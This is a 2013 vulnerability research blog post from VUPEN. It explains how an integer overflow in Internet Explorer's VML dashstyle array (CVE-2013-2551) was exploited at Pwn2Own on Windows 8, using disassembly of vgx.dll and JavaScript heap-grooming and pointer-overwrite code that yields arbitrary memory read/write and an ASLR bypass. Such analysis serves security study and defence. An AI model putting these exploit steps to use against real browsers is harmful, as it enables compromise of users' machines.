About Us | Contact Us    

 


 

VUPEN Research

 
  VUPEN Research Team
  VUPEN Research Blog
  VUPEN Research Videos
 
   

VUPEN Vulnerability Research Team (VRT) Blog

 
Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013)
 
Published on 2013-05-22 18:24:17 UTC by Nicolas Joly, Senior Security Researcher @ VUPEN

Twitter LinkedIn Delicious Digg   

Hi everyone,

Pwn2Own 2013 was much more challenging than ever with a Microsoft Surface Pro target running Internet Explorer 10 on Windows 8. Thinking about Windows 8 exploit mitigations randomly gives DEP, HiASLR, /GS, SEHOP, vTable Guard, Protected Mode sandbox, etc. but still, with the proper vulnerabilities, all these features can be defeated to pwn the new tablet!

In this blog we will share our analysis and advanced exploitation technique of an integer overflow vulnerability we have discovered and exploited at Pwn2Own 2013 as first stage (CVE-2013-2551 / MS13-037) using dynamic ROP building and without any heap spray to achieve code execution in the context of IE10 sandboxed process, which is the first step needed to put a Pwn2Own jacket in your closet.


1. Where the magic happens

Many of you probably know the Vector Markup Language (VML), which is the ancestor of SVG but is still supported by default by IE10. The language is implemented by vgx.dll, which can be usually found under C:\Program Files\Common Files\Microsoft Shared\VGX.

For example, the following line produces a red oval:

 
 <v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval>
 

More information about the topic can be found on MSDN.


2. A secret named DashStyle

VML implements various subelements of the shape element, one of which is the Stroke subelement. This particular subelement has a property named dashstyle which can be either a constant or a custom pattern. This part is pretty well documented on MSDN.

The next two examples show both use cases:

 
 <v:oval>
 <v:stroke dashstyle="LongDash"/>
 </v:oval>

 <v:oval>
 <v:stroke dashstyle="2 2 2 0 2 2 2 0"/>
 </v:oval>
 

As most of the VGX features related to this vulnerability and used in our exploit are undocumented, we found them by directly looking into the "vgx.dll" code and understanding its inner mechanisms.

For example, reading the dashstyle attribute from JavaScript leads to call "COAStroke::get_dashstyle()". It calls a sub function named "COAShapeProg::GetOALineDashStyle()" that returns a COALineDashStyle object. These lines are taken from vgx.dll v10.0.9200.16490 on Windows 8 (32-bit) with MS13-010 update applied:

 
 .text:1007E600 ; COALineDashStyle * __thiscall COAShapeProg::GetOALineDashStyle()
  ...
 .text:1007E609 push ebx
 .text:1007E60A push Size
 .text:1007E60C call new(uint,int)
 .text:1007E611 mov ebx, eax
 .text:1007E613 pop ecx
 .text:1007E614 test ebx, ebx
 .text:1007E616 jz short loc_1007E633
 .text:1007E618 push esi
 .text:1007E619 push const IID_IVgLineDashStyle,COAShapeProg>::s_dispStatic
 .text:1007E61E lea esi, [ebx+4]
 .text:1007E621 xor edx, edx
 .text:1007E623 mov eax, edi
 .text:1007E625 call COADispatch::COADispatch()
 .text:1007E62A mov dword ptr [ebx], offset COALineDashStyle::'vftable'

 

That particular dashstyle attribute is actually implemented as an undocumented object that exposes the following properties:



The array property is particularly interesting here. For custom patterns, calling "COALineDashStyle::get_array()" returns a COALineDashStyleArray object allocated in "COAShapeProg::GetOALineDashStyleArray()":

 
 .text:1007E648 ; COALineDashStyleArray * __thiscall COAShapeProg::GetOALineDashStyleArray
  ...
 .text:1007E648 cmp dword ptr [edi+0C8h], 0
 .text:1007E64F jnz short loc_1007E684
 .text:1007E651 push ebx
 .text:1007E652 push 10h
 .text:1007E654 call new(uint,int)
 .text:1007E659 mov ebx, eax
  ...
 .text:1007E672 mov dword ptr [ebx], const COALineDashStyleArray::'vftable'

 

The COALineDashStyleArray is undocumented too and supports the following properties:



Notice "COALineDashStyleArray::put_length()". As its name implies, it is possible to dynamically resize the array with a custom length. The next lines show how the DashStyle array length is updated in "COALineDashStyleArray::put_length()":

 
 .text:1008B87D lea edx, [ebp+arg_0]
 .text:1008B880 lea ecx, [eax+30h]
 .text:1008B883 mov eax, [ecx]
 .text:1008B885 push edx
 .text:1008B886 push 1CFh
 .text:1008B88B call dword ptr [eax]                           //get the array property
 .text:1008B88D mov ecx, [ebp+arg_0]
 .text:1008B890 test ecx, ecx
 .text:1008B892 jz short loc_1008B902
 .text:1008B894 mov eax, [ecx]
 .text:1008B896 push ecx
 .text:1008B897 call dword ptr [eax+2Ch]                  //get the array length (call ORG::CElements)
 .text:1008B89A mov esi, [ebp+arg_4]
 .text:1008B89D mov edx, eax
 .text:1008B89F cmp edx, esi
 .text:1008B8A1 jge short loc_1008B8F3                    //compare it with the supplied length

 

From that point one can either extend or shorten the DashStyle array, depending on the value of arg_4. Notice the signed comparison here. If a negative length is supplied, loc_1008B8F3 is reached:

 
 .text:1008B8F3 loc_1008B8F3:
 .text:1008B8F3 mov eax, [ebp+arg_0]
 .text:1008B8F6 mov ecx, [eax]
 .text:1008B8F8 sub edx, esi                                    //edx = current_length - desired_length
 .text:1008B8FA push edx
 .text:1008B8FB push esi
 .text:1008B8FC push eax
 .text:1008B8FD call dword ptr [ecx+28h]                 //call ORG::DeleteRange
 .text:1008B900 jmp short loc_1008B90A

 

For information, VML uses ORG objects to implement arrays. Looking at "ORG::CElements()" reveals that the array length is actually defined as a short int:

 
 .text:1003C560 int __stdcall ORG::CElements(void)
 .text:1003C560
 .text:1003C560 mov edi, edi
 .text:1003C562 push ebp
 .text:1003C563 mov ebp, esp
 .text:1003C565 mov eax, [ebp+arg_0]
 .text:1003C568 movzx eax, word ptr [eax+4]         //return the array length
 .text:1003C56C pop ebp
 .text:1003C56D retn 4

 

The execution flow hits then "MsoFRemovePx()" with arg_4 = current_length - desired_length and arg_8 = desired_length.

 
 .text:10076128 mov edi, edi
 .text:1007612A push ebp
 .text:1007612B mov ebp, esp
 .text:1007612D mov eax, [ebp+arg_4]                  //eax = current_length - desired_length
  ...
 .text:100761AB loc_100761AB:
 .text:100761AB mov esi, [ebp+arg_8]                   //esi = desired_length
 .text:100761AE
 .text:100761AE loc_100761AE:
 .text:100761AE movzx edx, word ptr [ebx]            //edx = current_length
 .text:100761B1 add eax, esi
 .text:100761B3 cmp eax, edx                               //current_length - desired_length + desired_length
                                                                          //= current_length!
 .text:100761B5 jz short loc_100761D4
  ...
 .text:100761D4 loc_100761D4:
 .text:100761D4
 .text:100761D4 sub [ebx], si                                //update current_length to desired_length % 0x10000!!
 .text:100761D7 pop edi
 .text:100761D8 mov eax, esi
 .text:100761DA pop esi
 .text:100761DB pop ebx
 .text:100761DC pop ebp
 .text:100761DD retn 0Ch

 

Assuming desired_length = 0xFFFFFFFF, the DashStyle array length is then updated to 0xFFFF without triggering the array reallocation. With "COALineDashStyleArray::get_item()" and "COALineDashStyleArray::put_item()", it is then easy to read and write data anywhere between DashStyle.array and DashStyle.array + 4*0xFFFF. This is powerful enough to defeat any of the actual exploit mitigations included in Windows 8.


3.
Two objets to rule them all

There are various ways to exploit this vulnerability, and perhaps the easiest one consists in placing the malicious array right before a vTable to first disclose a pointer in the DLL and overwrite later this pointer to gain code execution.

Disassembling the "COAShape::get__anchorRect()" function shows that each time the _anchorRect property is read, a COAReturnedPointsForAnchor object is allocated and returned to JavaScript:

 
 .text:1007F6B0 push 10h
 .text:1007F6B2 call new(uint,int)
 .text:1007F6B7 mov edx, eax
 .text:1007F6B9 pop ecx
 .text:1007F6BA test edx, edx
 .text:1007F6BC jz short loc_1007F6DA
 .text:1007F6BE mov ecx, [ebx+4]
 .text:1007F6C1 and dword ptr [edx+8], 0
 .text:1007F6C5 and dword ptr [edx+0Ch], 0
 .text:1007F6C9 mov [edx+4], ecx
 .text:1007F6CC inc dword_100ACA48
 .text:1007F6D2 mov dword ptr [edx], const COAReturnedPointsForAnchor::'vftable'

 

In a few words, here is the exploitation scenario: first create a large array and fill it with these COAReturnedPointsForAnchor objects. Insert next a DashStyle array of 4 elements in the middle of the heap and trigger the vulnerability to disclose the vTable and bypass HiASLR.

Spray then the heap, and eventually overwrite the pointer to cause a crash in "COADispatch::AddRef()":

 
 .text:1006DD2F mov eax, [esi]
 .text:1006DD31 mov ecx, [eax]
 .text:1006DD33 push eax
 .text:1006DD34 call dword ptr [ecx+4]                  //control the execution flow
 .text:1006DD37 mov eax, [esi+4]
 .text:1006DD3A inc eax
 .text:1006DD3B mov [esi+4], eax
 .text:1006DD3E retn

 

The next step is to rely on a ROP to get the payload executed. The usual method consists in pre-writing a ROP designed to work with a specific DLL version, but as our goal was to write a universal exploit which works on IE10, IE9, IE8, IE7 and IE6 running on any Windows version from Windows XP to Windows 8, any language, and any patch level or VGX version, we figured out that creating all these ROPs would represent a fair amount of work! As always, the first idea might not be the best...for professional exploit writers.


4. "Heapsprays are for the 99%"

Here follows a way to read an arbitrary string in memory, so we can leak the SharedUserData section or even the whole "vgx.dll" library content and dynamically find and build our ROP gadgets.

VML provides for example a _vgRuntimeStyle attribute which is handled by COARuntimeStyle for each VML shape. A quick review of that object shows that various attributes can be defined:



Disassembling "COARuntimeStyle::get_marginLeft()" and "COARuntimeStyle::put_marginLeft()" for instance shows that the object carries a pointer to an arbitrary string at offset 0x58.

 
 .text:1008EAB5 COARuntimeStyle::get_marginLeft(unsigned short * *)
  ...
 .text:1008EB05 mov ecx, [eax+58h]
 .text:1008EB08 test ecx, ecx
 .text:1008EB0A jz short loc_1008EB1A
 .text:1008EB0C push ecx
 .text:1008EB0D call SysAllocString(x)                     //read the string at offset 0x58
 .text:1008EB13 mov ecx, [ebp+arg_4]
 .text:1008EB16 mov [ecx], eax

 

 
 .text:1008EB6D COARuntimeStyle__put_marginLeft(int, OLECHAR *psz)
  ...
 .text:1008EBBC mov eax, [ebp+psz]
 .text:1008EBBF xor edx, edx
 .text:1008EBC1 cmp [esi+58h], edx
 .text:1008EBC4 mov [esi+58h], edx
 .text:1008EBC7 setnz cl
 .text:1008EBCA test eax, eax
 .text:1008EBCC jz short loc_1008EBE1
 .text:1008EBCE cmp [eax], dx
 .text:1008EBD1 jz short loc_1008EBE1
 .text:1008EBD3 push eax
 .text:1008EBD4 call SysAllocString(x)                     //copy the user supplied string
 .text:1008EBDA mov [esi+58h], eax to offset 0x58

 

As a result, if we manage to set the heap so that the ORG array precedes a COARuntimeStyle, we will be able to overwrite the marginLeft pointer with an arbitrary value which can later be read back in "COARuntimeStyle::get_marginLeft()".

Reversing VML a bit more shows that these COARuntimeStyle objects are actually created by "CParserTag::GetRTSInfo()" and need 0xAC bytes:

 
 .text:10039222 mov edi, edi
 .text:10039224 push ebx
 .text:10039225 push esi
 .text:10039226 mov esi, ecx
 .text:10039228 xor ebx, ebx
 .text:1003922A push edi
 .text:1003922B cmp [esi+30h], ebx
 .text:1003922E jnz short loc_10039261
 .text:10039230 mov edi, 0ACh
 .text:10039235 push edi
 .text:10039236 call new(uint)                                 //allocate ACh bytes on the heap

 

Great! Allocating an ORG array of 44 items (44 * 4 = 0xB0) will thus place the vulnerable buffer in the middle of COARuntimeStyle objects:

 
 for (var i=0; i<0x400; i++)                                   //set up the heap
 {
      a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
 }

 for (var i=0; i<0x400; i++)
 {
      a[i].rotation;                                                   //create a COARuntimeStyle
      if (i == 0x300) {                                             //allocate an ORG array of size B0h
              vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
              22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
      }
 }

 

Next, iterate over the marginLeft properties to see which one can be targeted:

 
 for (var i=0; i<0x400; i++)
 {
       a[i].marginLeft = "a";
       marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);

       if (marginLeftAddress > 0) {
            shape.dashstyle.array.item(0x2E+0x16) = 0x5A5A5A5A;
            alert(a[i].marginLeft)
       }
 }

 

Here is a snapshot of the heap layout after overwriting the pointer:



When reading back the marginLeft property, a corruption occurs in "OLEAUT32.SysAllocString()" while reading the string pointed by 0x5A5A5A5A. Of course, any pointer can fit here, such as a pointer to the SharedUserData section on Windows 7 and prior.

For Windows 8, after reading the VGX library, we can read data around the COAReturnedPointsForAnchor vTable, until reaching the PE Header "MZ" magic value.

With some minor changes, it is also possible to use the same technique to exploit the 64-bit versions of IE10 Desktop (Classic) and IE10 Modern (Metro).

For Windows 8, there is even another exploitation technique (left as exercise for the reader) which does not rely on any gadgets and requires almost no changes across VML versions.

See you next year at Pwn2Own 2014!
 

Copyright VUPEN Security



 

VUPEN Solutions  

 


 

 

 

 

 

 

 

 

 

2004-2014 VUPEN Security - Copyright - Privacy Policy